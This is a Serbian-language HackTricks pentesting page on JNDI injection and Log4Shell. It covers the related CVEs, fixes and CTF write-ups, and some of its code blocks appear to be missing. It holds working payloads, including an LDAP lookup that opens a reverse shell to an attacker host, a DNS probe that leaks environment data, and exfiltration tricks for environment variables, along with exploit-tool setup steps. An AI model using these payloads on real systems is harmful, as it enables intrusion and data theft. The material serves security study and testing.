<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
JNDI, integrisan u Javu od kraja 1990-ih, služi kao direktorijumski servis, omogućavajući Java programima da pronađu podatke ili objekte putem sistema imenovanja. Podržava različite direktorijumske servise putem provajdera usluga (SPI), omogućavajući povlačenje podataka sa različitih sistema, uključujući udaljene Java objekte. Uobičajeni SPI-ovi uključuju CORBA COS, Java RMI Registar i LDAP.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` po podrazumevanim vrednostima od JDK 7u21, ograničavajući udaljeno učitavanje objekata. Bezbednosni menadžer dodatno ograničava šta može biti učitano.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` po podrazumevanim vrednostima od JDK 6u141, 7u131, 8u121, blokira izvršavanje udaljeno učitanih Java objekata. Ako je postavljeno na `true`, izvršavanje udaljenog koda je moguće bez nadzora Bezbednosnog menadžera.
* **CORBA**: Nema specifično svojstvo, ali Bezbednosni menadžer je uvek aktivan.
Međutim, **Menadžer Imenovanja**, odgovoran za rešavanje JNDI veza, nema ugrađene mehanizme bezbednosti, što potencijalno omogućava povlačenje objekata sa bilo kog izvora. Ovo predstavlja rizik jer se zaštite RMI, LDAP i CORBA mogu zaobići, što dovodi do učitavanja proizvoljnih Java objekata ili iskorišćavanja postojećih komponenti aplikacije (gadžeta) za pokretanje zlonamernog koda.
I pored zaštita, ranjivosti ostaju, uglavnom zbog nedostatka zaštite od učitavanja JNDI sa nepoverenih izvora i mogućnosti zaobilaženja postojećih zaštita.
Čak i ako ste postavili **`PROVIDER_URL`**, možete naznačiti drugi u pretrazi i biće pristupljen: `ctx.lookup("<kontrolisani-url-napadača>")` i to je ono što će napadač iskoristiti da učita proizvoljne objekte sa sistema koji kontroliše.
CORBA (Common Object Request Broker Architecture) koristi **Interoperabilnu Referencu Objekta (IOR)** da jedinstveno identifikuje udaljene objekte. Ova referenca uključuje osnovne informacije kao što su:
* Dozvole za čitanje fajlova, ili univerzalno (`permission java.io.FilePermission "<<ALLFILES>>", "read";`) ili za specifične direktorijume gde bi zlonamerni fajlovi mogli biti smešteni.
Za RMI (Udaljeni Metod Pozivanja), situacija je donekle drugačija. Kao i kod CORBA-e, preuzimanje proizvoljnih klasa je podrazumevano ograničeno. Da bi iskoristio RMI, obično bi trebalo zaobići Bezbednosnog Menadžera, što je takođe relevantno i kod CORBA-e.
**Pretraga** će koristiti URL poput `ldap://localhost:389/o=JNDITutorial` da pronađe JNDITutorial objekat sa LDAP servera i **dobije njegove atribute**.\
**Napadač može otrovati LDAP zapise unoseći payload-ove** na njih koji će biti izvršeni u sistemima koji ih prikupljaju (veoma korisno za **kompromitovanje desetina mašina** ako imate pristup LDAP serveru). Još jedan način za iskorišćavanje ovoga bi bilo izvođenje **MitM napada u LDAP pretrazi** na primer.
U slučaju da možete **naterati aplikaciju da reši JNDI LDAP URL**, možete kontrolisati LDAP koji će biti pretražen, i mogli biste poslati eksploit nazad (log4shell).
Ranjivost je uvedena u Log4j jer podržava [**specijalnu sintaksu**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) u obliku `${prefix:name}` gde je `prefix` jedan od različitih [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) gde bi `name` trebalo da bude evaluiran. Na primer, `${java:version}` je trenutna pokrenuta verzija Jave.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) je uveo funkciju `jndi` Lookup. Ova funkcija omogućava dobijanje promenljivih putem JNDI-ja. Tipično, ključ je automatski prefiksovan sa `java:comp/env/`. Međutim, ako sam ključ sadrži **":"**, ovaj podrazumevani prefiks se ne primenjuje.
Sa **: prisutnim** u ključu, kao u `${jndi:ldap://primer.com/a}` nema **prefiksa** i **LDAP server je upitan za objekat**. I ovi Lookups mogu se koristiti kako u konfiguraciji Log4j tako i prilikom logovanja linija.
Stoga, jedino što je potrebno za dobijanje RCE je **ranjiva verzija Log4j koja obrađuje informacije koje kontroliše korisnik**. I pošto je ovo biblioteka široko korišćena od strane Java aplikacija za logovanje informacija (uključujući i aplikacije na internetu), bilo je veoma uobičajeno imati log4j logovanje na primer HTTP zaglavlja primljena kao User-Agent. Međutim, log4j **nije korišćen samo za logovanje HTTP informacija već bilo kog unosa** i podataka koje je programer naznačio.
Ova ranjivost je kritična **nesigurna deserializacijska greška** u komponenti `log4j-core`, koja utiče na verzije od 2.0-beta9 do 2.14.1. Omogućava **izvršenje udaljenog koda (RCE)**, omogućavajući napadačima preuzimanje sistema. Problem je prijavio Chen Zhaojun iz Alibaba Cloud Security Team i utiče na različite Apache okvire. Početni popravak u verziji 2.15.0 bio je nepotpun. Sigma pravila za odbranu su dostupna ([Pravilo 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Pravilo 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Inicialno ocenjena kao niska, ali kasnije unapređena na kritičnu, ova CVE je **DoS** greška proizašla iz nepotpunog popravka u verziji 2.15.0 za CVE-2021-44228. Utiče na nezadane konfiguracije, omogućavajući napadačima da izazovu DoS napade putem prilagođenih payloada. Jedan [tvit](https://twitter.com/marcioalm/status/1471740771581652995) prikazuje metodu zaobilaženja. Problem je rešen u verzijama 2.16.0 i 2.12.2 uklanjanjem šablona pretrage poruka i onemogućavanjem JNDI po zadanom.
Uticaj na **Log4j 1.x verzije** u nezadanim konfiguracijama koje koriste `JMSAppender`, ova CVE je nesigurna deserializacijska greška. Nema dostupnog popravka za granu 1.x, koja je dostigla kraj životnog ciklusa, i preporučuje se nadogradnja na `log4j-core 2.17.0`.
Ova ranjivost utiče na **Logback logging framework**, naslednika Log4j 1.x. Ranije smatran sigurnim, okvir je pronađen ranjivim, i novije verzije (1.3.0-alpha11 i 1.2.9) su objavljene radi rešavanja problema.
Log4j 2.16.0 sadrži DoS grešku, što je dovelo do izdavanja `log4j 2.17.0` za rešavanje CVE-a. Više detalja možete pronaći u BleepingComputer-ovom [izveštaju](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Uticaj na log4j verziju 2.17, ova CVE zahteva da napadač kontroliše konfiguracioni fajl log4j-a. Uključuje potencijalno izvršenje proizvoljnog koda putem konfigurisanog JDBCAppender-a. Više detalja dostupno je u [Checkmarx blog postu](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Ova ranjivost je veoma lako otkriti ako nije zaštićena jer će poslati barem **DNS zahtev** na adresu koju naznačite u vašem payload-u. Stoga, payloadi poput:
ili kao `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** i ako se **DNS zahtev primi sa vrednošću env promenljive**, znate da je aplikacija ranjiva.
Sistemi koji koriste JDK verzije iznad 6u141, 7u131 ili 8u121 su zaštićeni od LDAP napada putem učitavanja klasa. Ovo je zbog podrazumevanog deaktiviranja `com.sun.jndi.ldap.object.trustURLCodebase`, što sprečava JNDI da učita udaljeni codebase putem LDAP-a. Međutim, važno je napomenuti da ove verzije **nisu zaštićene od napada putem deserializacije**.
Za napadače koji ciljaju da iskoriste ove više verzije JDK-a, neophodno je iskoristiti **povereni uređaj (gadget)** unutar Java aplikacije. Alati poput ysoserial ili JNDIExploit često se koriste u tu svrhu. Nasuprot tome, iskorišćavanje nižih verzija JDK-a je relativno lakše jer se ove verzije mogu manipulisati da učitaju i izvrše proizvoljne klase.
Za **više informacija** (_kao što su ograničenja na RMI i CORBA vektorima_) **proverite prethodni odeljak o JNDI Naming Reference** ili [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Koristite alat [**marshalsec**](https://github.com/mbechler/marshalsec) (jar verzija dostupna [**ovde**](https://github.com/RandomRobbieBF/marshalsec-jar)). Ovaj pristup uspostavlja LDAP referal server za preusmeravanje veza ka sekundarnom HTTP serveru gde će biti smešten eksploatacioni kod:
Kompajlujte Java fajl u klasni fajl koristeći: `javac Exploit.java -source 8 -target 8`. Zatim pokrenite **HTTP server** u direktorijumu koji sadrži klasni fajl koristeći: `python3 -m http.server`. Proverite da **marshalsec LDAP server** referiše na ovaj HTTP server.
**Napomena:** Ovaj exploit se oslanja na konfiguraciju Java-e koja omogućava učitavanje udaljenog koda putem LDAP-a. Ako ovo nije dozvoljeno, razmotrite iskorišćavanje pouzdane klase za izvršavanje proizvoljnog koda.
Imajte na umu da je autor iz nekog razloga uklonio ovaj projekat sa github-a nakon otkrića log4shell-a. Možete pronaći keširanu verziju na [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) ali ako želite da poštujete odluku autora, koristite drugi metod za iskorišćavanje ove ranjivosti.
Za ovaj primer možete pokrenuti ovaj **ranjivi web server za log4shell** na portu 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_u README datoteci ćete pronaći kako da ga pokrenete_). Ova ranjiva aplikacija beleži sadržaj zaglavlja HTTP zahteva _X-Api-Version_ pomoću ranjive verzije log4shell-a.
Nakon što pročitate kod samo nekoliko minuta, u _com.feihong.ldap.LdapServer_ i _com.feihong.ldap.HTTPServer_ možete videti kako su **LDAP i HTTP serveri kreirani**. LDAP server će razumeti koji payload treba poslužiti i preusmeriti žrtvu na HTTP server, koji će poslužiti eksploataciju.\
U _com.feihong.ldap.gadgets_ možete pronaći **neke specifične gedžete** koji se mogu koristiti za izvršavanje željene radnje (potencijalno izvršiti proizvoljni kod). A u _com.feihong.ldap.template_ možete videti različite klase predložaka koje će **generisati eksploate**.
**Zapamtite da proverite `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` za druge opcije eksploatacije. Takođe, u slučaju potrebe, možete promeniti portove LDAP i HTTP servera.**
Na sličan način kao i kod prethodnog eksploata, možete pokušati da koristite [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) da iskoristite ovu ranjivost.\
_Napad korišćenjem prilagođenog generisanog Java objekta radiće u laboratorijama poput **THM solar room**. Međutim, ovo obično neće raditi (jer Java podrazumevano nije konfigurisana da učitava udaljene codebase-ove koristeći LDAP) mislim zato što ne zloupotrebljava pouzdanu klasu da izvrši proizvoljni kod._
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) je još jedan alat za generisanje **upotrebljivih JNDI linkova** i pružanje pozadinskih usluga pokretanjem RMI servera, LDAP servera i HTTP servera.\
Ova opcija je zaista korisna za napade na **Java verzije konfigurisane da veruju samo određenim klasama, a ne svima**. Stoga će **ysoserial** biti korišćen za generisanje **serijalizacija pouzdanih klasa** koje mogu biti korišćene kao gedžeti za **izvršavanje proizvoljnog koda** (_pouzdana klasa zloupotrebljena od strane ysoserial-a mora biti korišćena od strane žrtvinog Java programa kako bi eksploatacija funkcionisala_).
Korišćenjem **ysoserial-a** ili [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) možete kreirati deserializacijski eksploit koji će biti preuzet od strane JNDI:
Koristite [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) da biste generisali **JNDI linkove** gde će eksploit čekati konekcije sa ranjivih mašina. Možete poslužiti **različite eksploite koji se mogu automatski generisati** pomoću JNDI-Exploit-Kit-a ili čak vaše **sopstvene deserializacijske payload-e** (generisane od strane vas ili ysoserial).
Sada možete lako koristiti generisani JNDI link da iskoristite ranjivost i dobijete **obrnutu ljusku** jednostavno slanjem na ranjivu verziju log4j: **`${ldap://10.10.14.10:1389/generated}`**
U ovom [**CTF writeup-u**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) dobro je objašnjeno kako je potencijalno **moguće zloupotrebiti** neke funkcije **Log4J**-a.
> Od verzije 2.16.0 (za Java 8), **funkcionalnost pretrage poruka je potpuno uklonjena**. **Pretrage u konfiguraciji i dalje funkcionišu**. Pored toga, Log4j sada podrazumevano onemogućava pristup JNDI-ju. Pretrage JNDI-ja u konfiguraciji sada moraju biti eksplicitno omogućene.
> Od verzije 2.17.0, (i 2.12.3 i 2.3.1 za Java 7 i Java 6), **samo se niske pretrage u konfiguraciji rekurzivno proširuju**; u bilo kojoj drugoj upotrebi, samo se rešava pretraga na vrhu, a bilo koje ugnežđene pretrage se ne rešavaju.
To znači da podrazumevano možete **zaboraviti na korišćenje bilo kog `jndi` eksploata**. Štaviše, da biste izvršili **rekurzivne pretrage**, morate ih imati konfigurisane.
U [ovom CTF-u](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) napadač je kontrolisao vrednost `${sys:cmd}` i trebao je da eksfiltrira zastavu iz promenljive okruženja.\
Kao što je prikazano na ovoj stranici u [**prethodnim payload-ima**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) postoje različiti načini pristupa promenljivim okruženja, kao što su: **`${env:FLAG}`**. U ovom CTF-u to nije bilo korisno, ali možda jeste u drugim stvarnim scenarijima.
U CTF-u, **niste mogli pristupiti stderr-u** java aplikacije koristeći log4J, ali Log4J **izuzeci se šalju na stdout**, što je bilo prikazano u python aplikaciji. To znači da je okidačem izuzetka moguće pristupiti sadržaju. Izuzetak za eksfiltraciju zastave bio je: **`${java:${env:FLAG}}`.** Ovo funkcioniše jer **`${java:CTF{blahblah}}`** ne postoji i biće prikazan izuzetak sa vrednošću zastave:
Samo da pomenemo, takođe ste mogli ubaciti nove [**konverzione obrasce**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) i okinuti izuzetke koji će biti zabeleženi na `stdout`. Na primer:
Ovo nije bilo korisno za eksfiltraciju datuma unutar poruke o grešci, jer pre konverzionog obrasca nije rešeno pretraživanje, ali bi moglo biti korisno za druge stvari poput detektovanja.
Međutim, moguće je koristiti neke **konverzione obrasce koji podržavaju regex** za eksfiltraciju informacija iz pretrage korišćenjem regexa i zloupotrebe **binarnog pretraživanja** ili **baziranog na vremenu** ponašanja.
Konverzioni obrazac **`%replace`** može se koristiti za **zamenu****sadržaja** iz **stringa** čak i koristeći **regexe**. Funkcioniše ovako: `replace{pattern}{regex}{substitution}`\
Zloupotrebom ovog ponašanja mogli biste napraviti zamenu **okidačem izuzetka ako se regex poklopio** sa bilo čim unutar stringa (i bez izuzetka ako nije pronađeno) na ovaj način:
Kao što je pomenuto u prethodnom odeljku, **`%replace`** podržava **regexe**. Dakle, moguće je koristiti payload sa [**ReDoS stranice**](../regular-expression-denial-of-service-redos.md) kako bi se izazvao **timeout** u slučaju pronalaska zastave. Na primer, payload poput `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` bi pokrenuo **timeout** u tom CTF-u.
U ovom [**writeup-u**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), umesto korišćenja ReDoS napada, korišćen je **napad amplifikacije** kako bi se izazvala razlika u vremenu odgovora:
> Ako zastava počinje sa `flagGuess`, cela zastava će biti zamenjena sa 29 `#`-ova (koristio sam ovaj karakter jer verovatno neće biti deo zastave). **Svaki od rezultirajućih 29 `#`-ova zatim je zamenjen sa 54 `#`-a**. Ovaj proces se ponavlja **6 puta**, što dovodi do ukupno ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-ova!**
> Zamena toliko `#`-ova će pokrenuti 10-sekundni timeout Flask aplikacije, što će rezultirati slanjem HTTP status koda 500 korisniku. (Ako zastava ne počinje sa `flagGuess`, dobićemo status kod koji nije 500)
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**